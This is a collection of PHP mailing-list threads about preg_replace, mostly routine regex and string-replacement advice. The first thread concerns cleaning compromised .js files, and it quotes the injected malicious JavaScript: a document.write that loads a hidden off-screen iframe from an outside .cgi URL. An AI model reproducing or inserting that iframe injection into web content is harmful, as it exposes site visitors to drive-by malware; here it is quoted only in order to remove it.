[PHP] preg_replace question

[Curtis Maurand]

I have several poisoned .js files on a server.  I can use find to 
recursively find them and then use preg_replace to replace the string.  
However the string is filled with single quotes, semi-colons and a lot 
of other special characters.  Will 
preg_relace(escapeshellarg($String),$replacement) work or do I need to 
go through the entire string and escape what needs to be escaped?


--C

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Re: [PHP] preg_replace question

[Simon J Welsh]

On 13/12/2012, at 10:08 AM, Curtis Maurand cur...@maurand.com wrote:
 On 12/12/2012 3:47 PM, Maciek Sokolewicz wrote:
 On 12-12-2012 21:10, Curtis Maurand wrote:
 On 12/12/2012 12:00 PM, Maciek Sokolewicz wrote:
 On 12-12-2012 17:11, Curtis Maurand wrote:
 
 First of all, why do you want to use preg_replace when you're not
 actually using regular expressions??? Use str_replace or stri_replace
 instead.
 
 Aside from that, escapeshellarg() escapes strings for use in shell
 execution. Perl Regexps are not shell commands. It's like using
 mysqli_real_escape_string() to escape arguments for URLs. That doesn't
 compute, just like your way doesn't either.
 
 If you DO wish to escape arguments for a regular expression, use
 preg_quote instead, that's what it's there for. But first, reconsider
 using preg_replace, since I honestly don't think you need it at all if
 the way you've posted
 (preg_replace(escapeshellarg($string),$replacement)) is the way you
 want to use it.
 Thanks for your response.  I'm open to to using str_replace.  no issue
 there.  my main question was how to properly get a string of javascript
 into a string that could then be processed.  I'm not sure I can just put
 that in quotes and have it work.There are colons, ,,
 semicolons, and doublequotes.  Do I just need to rifle through the
 string and escape the reserved characters or is there a function for that?
 
 --C
 
 Why do you want to escape them? There are no reserved characters in the case 
 of str_replace. You don't have to put anything in quotes. For example:
 
 $string = 'This is a string with various supposedly reserved ``\\ _- 
 characters'
 echo str_replace('supposedly', 'imaginary', $string)
 would return:
 This is a string with imaginary reserved ``\\- characters
 
 So... why do you want to escape these characters?
 
 So what about things like quotes within the string or semi-colons, colons and 
 slashes?  Don't these need to be escaped when you're loading a string into a 
 variable?
 
 ;document.write('iframe width=50 height=50 
 style=width:100px;height:100px;position:absolute;left:-100px;top:0; 
 src=http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8;/iframe');
 
 I need to enclose this entire string and replace it with 
 
 Thanks


The only thing you have to worry about is quotes characters. Assuming you're 
running 5.3+, just use now docs 
(http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc).

$String = 'STRING'
;document.write('iframe width=50 height=50 
style=width:100px;height:100px;position:absolute;left:-100px;top:0; 
src=http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8;/iframe');
STRING;
---
Simon Welsh
Admin of http://simon.geek.nz/



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Re: [PHP] preg_replace question

[Merlin Morgenstern]

Am 24.01.2011 18:08, schrieb Alex Nikitin:

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


?php
function internal_links($str, $links, $limit=-1) {
$pattern=array();
$replace=array();
$k=0;
foreach($links AS $link){
$pattern[$k] = ~\b({$link['phrase']})\b~i;
$replace[$k] = 'a href='.$link['link'].'\\1/a';
$k++;
}
return preg_replace($pattern,$replace,$str, $limit);
}

echo internal_links(süße knuffige Beagle Welpen ab sofort,
array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;)), -1);

Output:
süße knuffigea href=http://google.com;Beagle/a  a href=
http://wolframalpha.com;Welpen/a  ab

~Alex



Hello,

thank you all for your help. It seems that I am building the array 
wrong. Your code works with that array:


$internal_links = array(array('phrase'=beagle, 
'link'=http://google.com;),array('phrase'=welpen, 
'link'=http://wolframalpha.com;));


I am pulling the data out of a DB and am using this code:
while ($row = mysql_fetch_object($result)){ 
$internal_links[$row-ID]['phrase'] = $row-phrase;
$internal_links[$row-ID]['link'] = $row-link;
}   

You build the array different, could you help me to adapt this on my 
code? I tried $internal_links['phrase'][] as well, but that did not help 
either.


Thank you for any help,

Merlin

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Re: [PHP] preg_replace question

[Merlin Morgenstern]

Am 25.01.2011 12:31, schrieb Merlin Morgenstern:

Am 24.01.2011 18:08, schrieb Alex Nikitin:

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


?php
function internal_links($str, $links, $limit=-1) {
$pattern=array();
$replace=array();
$k=0;
foreach($links AS $link){
$pattern[$k] = ~\b({$link['phrase']})\b~i;
$replace[$k] = 'a href='.$link['link'].'\\1/a';
$k++;
}
return preg_replace($pattern,$replace,$str, $limit);
}

echo internal_links(süße knuffige Beagle Welpen ab sofort,
array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;)), -1);

Output:
süße knuffigea href=http://google.com;Beagle/a a href=
http://wolframalpha.com;Welpen/a ab

~Alex



Hello,

thank you all for your help. It seems that I am building the array
wrong. Your code works with that array:

$internal_links = array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;));

I am pulling the data out of a DB and am using this code:
while ($row = mysql_fetch_object($result)){
$internal_links[$row-ID]['phrase'] = $row-phrase;
$internal_links[$row-ID]['link'] = $row-link;
}

You build the array different, could you help me to adapt this on my
code? I tried $internal_links['phrase'][] as well, but that did not help
either.

Thank you for any help,

Merlin



HI Again :-)

the building of my array seems fine. Here is what goes wrong:

If you use this array: 	$internal_links = array(array('phrase'=Beagle 
Welpen, 'link'=http://wolframalpha.com;), array('phrase'=Welpen, 
'link'=http://google.com;));


Then it will fail as well. This is because the function will replace 
Beagle Welpen with the hyperlink and after that replace the word 
welpen inside the hyperlink again with a hyperlink.


Is there a function which will not start looking for the words at the 
beginnning of the text for each replacement, but simply continue where 
it did the last replacement?


Thank you for any help,

Merlin

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Re: [PHP] preg_replace question

[Richard Quadling]

On 25 January 2011 12:04, Merlin Morgenstern merli...@fastmail.fm wrote:
 Am 25.01.2011 12:31, schrieb Merlin Morgenstern:

 Am 24.01.2011 18:08, schrieb Alex Nikitin:

 If you declare your arrays, and set k to 0 first, put quotes around array
 values and use the correct limit (you can default to -1), you will get
 results, here is code and example (hopefully this helps you)


 ?php
 function internal_links($str, $links, $limit=-1) {
 $pattern=array();
 $replace=array();
 $k=0;
 foreach($links AS $link){
 $pattern[$k] = ~\b({$link['phrase']})\b~i;
 $replace[$k] = 'a href='.$link['link'].'\\1/a';
 $k++;
 }
 return preg_replace($pattern,$replace,$str, $limit);
 }

 echo internal_links(süße knuffige Beagle Welpen ab sofort,
 array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;)), -1);

 Output:
 süße knuffigea href=http://google.com;Beagle/a a href=
 http://wolframalpha.com;Welpen/a ab

 ~Alex


 Hello,

 thank you all for your help. It seems that I am building the array
 wrong. Your code works with that array:

 $internal_links = array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;));

 I am pulling the data out of a DB and am using this code:
 while ($row = mysql_fetch_object($result)){
 $internal_links[$row-ID]['phrase'] = $row-phrase;
 $internal_links[$row-ID]['link'] = $row-link;
 }

 You build the array different, could you help me to adapt this on my
 code? I tried $internal_links['phrase'][] as well, but that did not help
 either.

 Thank you for any help,

 Merlin


 HI Again :-)

 the building of my array seems fine. Here is what goes wrong:

 If you use this array:  $internal_links = array(array('phrase'=Beagle
 Welpen, 'link'=http://wolframalpha.com;), array('phrase'=Welpen,
 'link'=http://google.com;));

 Then it will fail as well. This is because the function will replace Beagle
 Welpen with the hyperlink and after that replace the word welpen inside
 the hyperlink again with a hyperlink.

 Is there a function which will not start looking for the words at the
 beginnning of the text for each replacement, but simply continue where it
 did the last replacement?

 Thank you for any help,

 Merlin

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The solution I've used in the past for this sort of issue (recursive
replacements when not wanted) is to replace each known part with a
unique placeholder.

Once the initial data has been analysed and the placeholders are in
place, then replace the placeholders with the correct value.

So, rather than ...

$internal_links = array
(
array('phrase'=Beagle Welpen, 'link'=http://wolframalpha.com;),
array('phrase'=Welpen, 'link'=http://google.com;)
);

Use ...

$internal_links = array
(
array('phrase'='Beagle Welpen', 'link'='_RAQ_TAG_1_'),
array('phrase'='Welpen','link'='_RAQ_TAG_2_'),
array('phrase'='_RAQ_TAG_1_''link'='http://wolframalpha.com'),
array('phrase'='_RAQ_TAG_2_''link'='http://google.com'),
);

By keeping them in the above order, each phrase will be replaced in
the same way.

Obviously, if your text includes _RAQ_TAG_1_ or _RAQ_TAG_2_ then you
will have to use more appropriate tags.

Richard.

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Twitter : EE : Zend
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Re: [PHP] preg_replace question

[Alex Nikitin]

$internal_links=array();

I prefer to init arrays, it also avoids unnecessary notices, and sometimes
weird results, but either one of those while loops should make the desired
array

while($row = mysql_fetch_array($result, MYSQL_ASSOC))
 { array_push($internal_links, array('phrase'=$row['phrase'],
'link'=$row['link'])); }
or

while($row = mysql_fetch_array($result, MYSQL_ASSOC))  { $internal_links[] =
array('phrase'=$row['phrase'], 'link'=$row['link']); }

or

while($row = mysql_fetch_object($result))  { $internal_links[] =
array('phrase'=$row-phrase,
'link'=$row-link); }

(you can figure out how to do it with array_push if you choose to, but you
get the general idea)


~ Alex

On Jan 25, 2011 6:35 AM, Merlin Morgenstern merli...@fastmail.fm wrote:
 Am 24.01.2011 18:08, schrieb Alex Nikitin:
 If you declare your arrays, and set k to 0 first, put quotes around array
 values and use the correct limit (you can default to -1), you will get
 results, here is code and example (hopefully this helps you)


 ?php
 function internal_links($str, $links, $limit=-1) {
 $pattern=array();
 $replace=array();
 $k=0;
 foreach($links AS $link){
 $pattern[$k] = ~\b({$link['phrase']})\b~i;
 $replace[$k] = 'a href='.$link['link'].'\\1/a';
 $k++;
 }
 return preg_replace($pattern,$replace,$str, $limit);
 }

 echo internal_links(süße knuffige Beagle Welpen ab sofort,
 array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;)), -1);

 Output:
 süße knuffigea href=http://google.com;Beagle/a a href=
 http://wolframalpha.com;Welpen/a ab

 ~Alex


 Hello,

 thank you all for your help. It seems that I am building the array
 wrong. Your code works with that array:

 $internal_links = array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;));

 I am pulling the data out of a DB and am using this code:
 while ($row = mysql_fetch_object($result)){
 $internal_links[$row-ID]['phrase'] = $row-phrase;
 $internal_links[$row-ID]['link'] = $row-link;
 }

 You build the array different, could you help me to adapt this on my
 code? I tried $internal_links['phrase'][] as well, but that did not help
 either.

 Thank you for any help,

 Merlin

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[PHP] preg_replace question

[Merlin Morgenstern]

Hi there,

I am trying to replace certain words inside a text with php. 
Unfortunatelly my function is creating invalid html as output.


For example the words beagle and welpen have to be replaced inside 
this text: süße knuffige Beagle Welpen ab sofort


My result looks like this:
zwei süße knuffige a href=/bsp/hunde,beagleBeagle a 
href=/bsp/hundeWelpen/a/a


The problem is, that my function is not closing the href tag before it 
starts to replace the next item.


Here is the code: 


// create internal links
function internal_links($str, $links, $limit) {
foreach($links AS $link){
$pattern[$k] = ~\b($link[phrase])\b~i;
$replace[$k] = 'a href='.$link[link].'\\1/a';
$k++;
}
return preg_replace($pattern,$replace,$str, $limit);
}

I

I could not find a way to fix this and I would be happy for some help. 
Thank you in advance!


Merlin

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Re: [PHP] preg_replace question

[David Harkness]

Without seeing the code that creates the arrays, it's tough to see the
problem. It looks like the first replacement is catching Beagle Welpen
entirely since the closing /a tag gets placed after Welpen. Then the
second replacement does just Welpen.

Also, you should have quotes around link when building the $replace[]
entry since the array access is outside quotes. Finally, you don't need $k
here at all.

   // create internal links
   function internal_links($str, $links, $limit) {
   foreach($links AS $link){
   $pattern[] = ~\b($link[phrase])\b~i;
   $replace[] = 'a href='.$link['link'].'\\1/a';
   }
   return preg_replace($pattern,$replace,$str, $limit);
   }

David

Re: [PHP] preg_replace question

[Alex Nikitin]

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


?php
   function internal_links($str, $links, $limit=-1) {
   $pattern=array();
   $replace=array();
   $k=0;
   foreach($links AS $link){
   $pattern[$k] = ~\b({$link['phrase']})\b~i;
   $replace[$k] = 'a href='.$link['link'].'\\1/a';
   $k++;
   }
   return preg_replace($pattern,$replace,$str, $limit);
   }

echo internal_links(süße knuffige Beagle Welpen ab sofort,
array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;)), -1);

Output:
süße knuffige a href=http://google.com;Beagle/a a href=
http://wolframalpha.com;Welpen/a ab

~Alex

Re: [PHP] preg_replace question

[Jim Lucas]

On 1/24/2011 8:00 AM, Merlin Morgenstern wrote:
 Hi there,
 
 I am trying to replace certain words inside a text with php. Unfortunatelly my
 function is creating invalid html as output.
 
 For example the words beagle and welpen have to be replaced inside this
 text: süße knuffige Beagle Welpen ab sofort
 
 My result looks like this:
 zwei süße knuffige a href=/bsp/hunde,beagleBeagle a
 href=/bsp/hundeWelpen/a/a
 
 The problem is, that my function is not closing the href tag before it starts 
 to
 replace the next item.
 
 Here is the code:
 
 
 // create internal links
 function internal_links($str, $links, $limit) {
 foreach($links AS $link){
 $pattern[$k] = ~\b($link[phrase])\b~i;
 $replace[$k] = 'a href='.$link[link].'\\1/a';
 $k++;
 }
 return preg_replace($pattern,$replace,$str, $limit);
 }
 
 I
 
 
 I could not find a way to fix this and I would be happy for some help. Thank 
 you
 in advance!
 
 Merlin
 

Do you have control over the building of the initial phrase = link assoc?

If so, reverse the order of these two items.

Jim Lucas

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Re: [PHP] preg_replace() question

[Richard Heyes]

 1. What is the overhead on preg_replace?

Minimal. If you're looking for all the speed you can get, you'd
probably be better off with an str* function though if you can find
one. You'd have to be seriously after speed gains though.

 2. Is there a better way to strip spaces and non alpha numerical
 characters from text strings? I suspect not...

Have a look through the string functions. the ctype_* functions too.
See if one fits your needs.

-- 
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HTML5 Canvas graphing for Firefox, Chrome, Opera and Safari:
http://www.rgraph.net (Updated March 14th)

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Re: [PHP] preg_replace() question

[Virgilio Quilario]

 1. What is the overhead on preg_replace?

it really depends on your operation. when you think it can be done
using str* functions then go for it as they are much faster than preg*
functions.

 2. Is there a better way to strip spaces and non alpha numerical
 characters from text strings? I suspect not... maybe the Shadow does ???

if those characters are in the middle, preg_replace is the right function.


virgil
http://www.jampmark.com

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Re: [PHP] preg_replace() question

[Robert Cummings]

On Wed, 2009-03-18 at 22:55 +0800, Virgilio Quilario wrote:
  1. What is the overhead on preg_replace?
 
 it really depends on your operation. when you think it can be done
 using str* functions then go for it as they are much faster than preg*
 functions.
 
  2. Is there a better way to strip spaces and non alpha numerical
  characters from text strings? I suspect not... maybe the Shadow does ???
 
 if those characters are in the middle, preg_replace is the right function.

Unless you know how many, it's probably the right function even if
they're at the front or end. preg_replace() is almost certainly faster
(in this particular case) than making two function calls.

Cheers,
Rob.
-- 
http://www.interjinn.com
Application and Templating Framework for PHP


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[PHP] preg_replace() question

[PJ]

1. What is the overhead on preg_replace?
2. Is there a better way to strip spaces and non alpha numerical
characters from text strings? I suspect not... maybe the Shadow does ???
:-D

-- 
unheralded genius: A clean desk is the sign of a dull mind. 
-
Phil Jourdan --- p...@ptahhotep.com
   http://www.ptahhotep.com
   http://www.chiccantine.com/andypantry.php


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Re: [PHP] preg_replace() question

[Chris]

PJ wrote:

1. What is the overhead on preg_replace?


Compared to what? If you write a 3 line regex, it's going to take some 
processing.



2. Is there a better way to strip spaces and non alpha numerical
characters from text strings? I suspect not... maybe the Shadow does ???


For this, preg_replace is probably the right option.

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Re: [PHP] preg_replace Question

[Per Jessen]

Richard Luckhurst wrote:

 e.g $amount = $524.00 however only 4.00 is displayed in the %Amount
 field on the html page. I tried dropping the .00 from $amount to see
 if this might be a length issue and then %Amount was just 4
 Am I doing something obviously wrong here? I have checked the php
 manual and I appear to be using preg_replace correctly.

From the manual: 

replacement  may contain references of the form \\n or (since PHP
4.0.4) $n, with the latter form being the preferred one

If you use $amount ='\$524.00' instead of '$524.00', it'll work. 


/Per Jessen, Zürich


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[PHP] preg_replace Question

[Richard Luckhurst]

Hi List

I am trying to perform a number of replacements of place holders in an html page
I am working on using preg_replace. I am stuck with a pronlem I can not work out
and would appreciate some help.

The code I have is as follows

$html = preg_replace('/%Amount/',$amount,$html);

$html is the source of a html page
$amount is set earlier to a value read from a file

When I view the html page the value of %Amount is not what I would expect.

e.g $amount = $524.00 however only 4.00 is displayed in the %Amount field on the
html page. I tried dropping the .00 from $amount to see if this might be a
length issue and then %Amount was just 4

Am I doing something obviously wrong here? I have checked the php manual and I
appear to be using preg_replace correctly.


Regards,
Richard Luckhurst  
Product Development
Exodus Systems - Sydney, Australia.
[EMAIL PROTECTED]
Tel: (+612) 4751-9633
Fax: (+612) 4751-9644
Web: www.resmaster.com 
=
Exodus Systems - Smarter Systems, Better Business
=


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Re: [PHP] preg_replace question

[Burhan Khalid]

Zoran Lorkovic wrote:
Btw, where I can find patterns that are valid?
(something like (\w+), (\d+)+i etc.
http://www.php.net/manual/en/reference.pcre.pattern.syntax.php
http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php
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[PHP] preg_replace question

[Zoran Lorkovic]

Hi

Sorry for issuing this again, but I need help with preg_replace. I manage to replace 
certain text between b/b in text with preg_replace but I want for every other 
b/b to be replaced by other text.
By this I mean when some text between b/b has been found that text is replaced 
with some Text, on second match, text between b/b is replaced by some other 
different text etc.

Btw, where I can find patterns that are valid?
(something like (\w+), (\d+)+i etc.

Thanks.
Regards.
Zoran

Re: [PHP] preg_replace question

[John Holmes]

Zoran Lorkovic wrote:
Sorry for issuing this again, but I need help with preg_replace. I manage to replace certain text between 
b/b in text with preg_replace but I want for every other b/b to be replaced by 
other text.
By this I mean when some text between b/b has been found that text is replaced with some Text, 
on second match, text between b/b is replaced by some other different text etc.
Btw, where I can find patterns that are valid?
(something like (\w+), (\d+)+i etc.
Use preg_replace_callback() with a static variable within the callback 
function. Increment the variable each time the function is called and 
then based upon whether it's odd or even, substitute the appropriate 
string.

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[PHP] preg_replace question

[Armand Turpel]

I need the following replace function:
Replace all line breaks to br but not if a line break comes after an /h1
or /h2 or   /hx


Currently I use this preg_replace but it's not good enough for all
situations.

$text = preg_replace(/([^\][^\/][^h][^1-9].{1})\r\n/,\\1br  /,$text);




Thanks

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Re: [PHP] preg_replace question

[Jim Lucas]

$arr = array(/([^\][^\/][^h][^1-6].{1}[^\])\r\n/,
 /([^\][^\/][^h][^1-6].{1}[^\])\r/,
 /([^\][^\/][^h][^1-6].{1}[^\])\n/,
 );

$text = preg_replace($arr,\\1br  /,$text);

you might try this and see how well it works.

Jim Lucas


- Original Message - 
From: Armand Turpel [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Saturday, September 20, 2003 8:21 AM
Subject: [PHP] preg_replace question


 I need the following replace function:
 Replace all line breaks to br but not if a line break comes after an
/h1
 or /h2 or   /hx


 Currently I use this preg_replace but it's not good enough for all
 situations.

 $text = preg_replace(/([^\][^\/][^h][^1-9].{1})\r\n/,\\1br
/,$text);


 

 Thanks

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Re: [PHP] preg_replace question

[Armand Turpel]

Hi Jim ,
The problem with your proposition is that the preg_replace do not replace
/h1\r\n  to  /h1br / 
thats good,
but also not this:
testh4\r\n

and thats not what I expect from.


atur






- Original Message - 
From: Jim Lucas [EMAIL PROTECTED]
To: Armand Turpel [EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Saturday, September 20, 2003 5:37 PM
Subject: Re: [PHP] preg_replace question


 $arr = array(/([^\][^\/][^h][^1-6].{1}[^\])\r\n/,
  /([^\][^\/][^h][^1-6].{1}[^\])\r/,
  /([^\][^\/][^h][^1-6].{1}[^\])\n/,
  );
 
 $text = preg_replace($arr,\\1br  /,$text);
 
 you might try this and see how well it works.
 
 Jim Lucas
 
 
 - Original Message - 
 From: Armand Turpel [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]
 Sent: Saturday, September 20, 2003 8:21 AM
 Subject: [PHP] preg_replace question
 
 
  I need the following replace function:
  Replace all line breaks to br but not if a line break comes after an
 /h1
  or /h2 or   /hx
 
 
  Currently I use this preg_replace but it's not good enough for all
  situations.
 
  $text = preg_replace(/([^\][^\/][^h][^1-9].{1})\r\n/,\\1br
 /,$text);
 
 
  
 
  Thanks
 
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Re: [PHP] preg_replace question

[Armand Turpel]

Finaly I got the solution.

Replace all line breaks by br / but not after a html headline
(h1../h1)

$text = preg_replace(/(?!h[1-6]\)\r\n/,\\1br /,$text);



- Original Message - 
From: Armand Turpel [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Saturday, September 20, 2003 7:34 PM
Subject: Re: [PHP] preg_replace question


 Hi Jim ,
 The problem with your proposition is that the preg_replace do not replace
 /h1\r\n  to  /h1br /
 thats good,
 but also not this:
 testh4\r\n

 and thats not what I expect from.


 atur






 - Original Message - 
 From: Jim Lucas [EMAIL PROTECTED]
 To: Armand Turpel [EMAIL PROTECTED]; [EMAIL PROTECTED]
 Sent: Saturday, September 20, 2003 5:37 PM
 Subject: Re: [PHP] preg_replace question


  $arr = array(/([^\][^\/][^h][^1-6].{1}[^\])\r\n/,
   /([^\][^\/][^h][^1-6].{1}[^\])\r/,
   /([^\][^\/][^h][^1-6].{1}[^\])\n/,
   );
 
  $text = preg_replace($arr,\\1br  /,$text);
 
  you might try this and see how well it works.
 
  Jim Lucas
 
 
  - Original Message - 
  From: Armand Turpel [EMAIL PROTECTED]
  To: [EMAIL PROTECTED]
  Sent: Saturday, September 20, 2003 8:21 AM
  Subject: [PHP] preg_replace question
 
 
   I need the following replace function:
   Replace all line breaks to br but not if a line break comes after an
  /h1
   or /h2 or   /hx
  
  
   Currently I use this preg_replace but it's not good enough for all
   situations.
  
   $text = preg_replace(/([^\][^\/][^h][^1-9].{1})\r\n/,\\1br
  /,$text);
  
  
   
  
   Thanks
  
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   To unsubscribe, visit: http://www.php.net/unsub.php
  
  
 
 
 
 

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Re: [PHP] preg_replace question

[Jean-Christian IMbeault]

[EMAIL PROTECTED] wrote:
 Then use a simple strstr to first find out if the string does contain 
 mydomain.com :-)

My example was a simple one. I can't just check to see if the string
contains the mydomain.com first because I am not passing a string to
preg_replace but a whole text file.

I want preg_replace to replace all occurrences in the text file of the
regexp:

 #a href=(\|')http://([^\']+)(\|')#ime

But only if the regexp doesn't contain http://www.mydomain.com.

How can I get preg_replace to ignore instances of
http://www.mydomain.com when it is doing it's global search and replace?

Thanks,

Jean-Christian Imbeault


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[PHP] preg_replace question

[Jean-Christian IMbeault]

I found this nice preg_replace function that replaces all occurrences of 
an HTML anchor (a href=...) with a link to another PHP script that log 
the link and then sends the user on his merry way to the the appropriate 
page/site:

preg_replace(
  #a href=(\|')http://([^\']+)(\|')#ime,
  'a href=\/exit.php?url=.base64_encode(\'\\2\').\',
  $originalLink
);
I'd like to modify this expression so that it does the same thing but 
*only* if the link is not to a specific page. I.e. I would like to 
replace all links *unless* the link was to, for example, www.mydomain.com.

How can I achieve this with a regexp? I'm not very good at 'negative' 
regexp ...

Thanks,

Jean-Christian Imbeault

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Re: [PHP] preg_replace question

[[EMAIL PROTECTED]]

Then use a simple strstr to first find out if the string does contain 
mydomain.com :-)

Jean-Christian IMbeault wrote:

I found this nice preg_replace function that replaces all occurrences 
of an HTML anchor (a href=...) with a link to another PHP script that 
log the link and then sends the user on his merry way to the the 
appropriate page/site:

preg_replace(
  #a href=(\|')http://([^\']+)(\|')#ime,
  'a href=\/exit.php?url=.base64_encode(\'\\2\').\',
  $originalLink
);
I'd like to modify this expression so that it does the same thing but 
*only* if the link is not to a specific page. I.e. I would like to 
replace all links *unless* the link was to, for example, 
www.mydomain.com.

How can I achieve this with a regexp? I'm not very good at 'negative' 
regexp ...

Thanks,

Jean-Christian Imbeault




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RE: [PHP] preg_replace question,

[John W. Holmes]

 the current function been put in place replaces [f1253f] with a file,
for
 inside cms content , where 1253 is the key or the id of the filename
in
 the
 database , therefore to denote its an ftool they added f's around the
keys
 ,
 so maybe i could get away with [1253], what else i'm asking if
 preg_replace is
 more efficient over eregi_replace ?

Yeah, it is.

preg_match_all(/\[f([0-9]+)f\]/i,$string,$matches);

$matches will then contain the numbers you're looking for (in an array).
Read the file or whatever you need, then do another replace to put the
file contents in place of the code. 

If you read it like this:

$file['1234'] = data from file 1234;
$file['3456'] = data from file 3456;

You can use the following to replace the tags

preg_replace(/\[f([0-9]+)\]/ie,'$file[$1]',$string);

the last one is untested, but something like that works. The key is the
'e' modifier. If you know you're always going to have lower case 'f'
characters, then remove the 'i' modifier from each pattern.

---John Holmes...



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[PHP] preg_replace question,

[daniel]

yes another one sorry, i'm trying to find the most efficient way to do a 
replactment over this 
eregi_replace(\[f$key\f\],$value,format_content($content));, would 
preg_replace be quicker and how could i go about it ?

i'd need to replace [f1247f] with its replacement value better still maybe 
even [1313431] is needed ? i dont know why they has f's in there ?



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RE: [PHP] preg_replace question,

[John W. Holmes]

 yes another one sorry, i'm trying to find the most efficient way to do
a
 replactment over this
 eregi_replace(\[f$key\f\],$value,format_content($content));, would
 preg_replace be quicker and how could i go about it ?
 
 i'd need to replace [f1247f] with its replacement value better still
maybe
 even [1313431] is needed ? i dont know why they has f's in there ?

What exactly are you trying to match and replace? Anything between [ and
]? Is 'f' the only letter that might appear? Is there a limit on the
amount of numbers that'll be between [ and ]? Are you replacing all
matches with the same $value?

---John W. Holmes...

PHP Architect - A monthly magazine for PHP Professionals. Get your copy
today. http://www.phparch.com/



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RE: [PHP] preg_replace question,

[daniel]

the current function been put in place replaces [f1253f] with a file, for 
inside cms content , where 1253 is the key or the id of the filename in the 
database , therefore to denote its an ftool they added f's around the keys , 
so maybe i could get away with [1253], what else i'm asking if preg_replace is 
more efficient over eregi_replace ?

= Original Message From [EMAIL PROTECTED] =
 yes another one sorry, i'm trying to find the most efficient way to do
a
 replactment over this
 eregi_replace(\[f$key\f\],$value,format_content($content));, would
 preg_replace be quicker and how could i go about it ?

 i'd need to replace [f1247f] with its replacement value better still
maybe
 even [1313431] is needed ? i dont know why they has f's in there ?

What exactly are you trying to match and replace? Anything between [ and
]? Is 'f' the only letter that might appear? Is there a limit on the
amount of numbers that'll be between [ and ]? Are you replacing all
matches with the same $value?

---John W. Holmes...

PHP Architect - A monthly magazine for PHP Professionals. Get your copy
today. http://www.phparch.com/



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[PHP] preg_replace question

[electroteque]

yet another regex question how could i hange the value within the quotes
with preg_replace

php_value upload_max_filesize 5M



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Re: [PHP] preg_replace question

[Jason Wong]

On Monday 23 December 2002 18:34, electroteque wrote:
 yet another regex question how could i hange the value within the quotes
 with preg_replace

 php_value upload_max_filesize 5M

If php_value upload_max_filesize  is fixed then there is no need to use 
preg_replace. Just use a simple substr_replace() or similar.

-- 
Jason Wong - Gremlins Associates - www.gremlins.biz
Open Source Software Systems Integrators
* Web Design  Hosting * Internet  Intranet Applications Development *

/*
She ran the gamut of emotions from 'A' to 'B'.
-- Dorothy Parker, on a Kate Hepburn performance
*/


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[PHP] Preg_replace question

[David Russell]

Hi all,

Following on from a previous discussion, I am trying to write a safe
strip_tags function.

I start by applying htmlentities to the entire string, and then convert
allowed tags back.

One of the steps I am looking at doing is to replace something lt;a
href=blah onmouseover=blahgt; with a href=blah

What would be a good preg_replace string for this?

Preg_replace('/(lt;A)/i', 'a', $htmlstring);

Except I need to keep the href=anything as well as the closing ,
but drop everything else.

I will be googling on this too, but a reply from this group is always
quicker g

Thanks

David Russell
IT Support Manager
Barloworld Optimus (Pty) Ltd
Tel: +2711 444-7250 
Fax: +2711 444-7256
e-mail: [EMAIL PROTECTED]
web: www.BarloworldOptimus.com



smime.p7s
Description: application/pkcs7-signature

Re: [PHP] Preg_replace question

[Marek Kilimajer]

Try xml parsing functions,  start with an empty string and build it up 
in your handlers. In start
element handler check if the tag is allowed, if yes, append it to the 
string together with allowed
attributes, and add it to a count (so users won't be able to mess up 
your design), else append it
using htmlspecialchars. In the end element handler, check if the count 
for this element is  0,
if yes, append it and subtract the count, else append it using 
htmlspecialchars. And in the data
handler you just need the obvious: append it using htmlspecialchars. 
After all you need to check
the count for each element and if it is  0, append that many end elements.

This is just an idea, and I'm curious myself, if that would work, so 
write share with us your results

David Russell wrote:

Hi all,

Following on from a previous discussion, I am trying to write a safe
strip_tags function.

I start by applying htmlentities to the entire string, and then convert
allowed tags back.

One of the steps I am looking at doing is to replace something lt;a
href=blah onmouseover=blahgt; with a href=blah

What would be a good preg_replace string for this?

Preg_replace('/(lt;A)/i', 'a', $htmlstring);

Except I need to keep the href=anything as well as the closing ,
but drop everything else.

I will be googling on this too, but a reply from this group is always
quicker g

Thanks

David Russell
IT Support Manager
Barloworld Optimus (Pty) Ltd
Tel: +2711 444-7250 
Fax: +2711 444-7256
e-mail: [EMAIL PROTECTED]
web: www.BarloworldOptimus.com
 



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Re: [PHP] Preg_replace question

[1LT John W. Holmes]

 Following on from a previous discussion, I am trying to write a safe
 strip_tags function.

 I start by applying htmlentities to the entire string, and then convert
 allowed tags back.

 One of the steps I am looking at doing is to replace something lt;a
 href=blah onmouseover=blahgt; with a href=blah

 What would be a good preg_replace string for this?

 Preg_replace('/(lt;A)/i', 'a', $htmlstring);

 Except I need to keep the href=anything as well as the closing ,
 but drop everything else.

 I will be googling on this too, but a reply from this group is always
 quicker g

How about

$new_string = preg_replace('/lt;a href=([^]+).*gt;/U',' a
href=$1',$old_string);

Adapt to your needs...

---John Holmes...


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Re: [PHP] Preg_replace question

[Ernest E Vogelsinger]

At 15:38 21.11.2002, David Russell spoke out and said:
[snip]
One of the steps I am looking at doing is to replace something lt;a
href=blah onmouseover=blahgt; with a href=blah
[snip] 

I found it way easier not to look for encoded values but for the characters
themselves, as it is a lot easier with regexes to scan for characters (or,
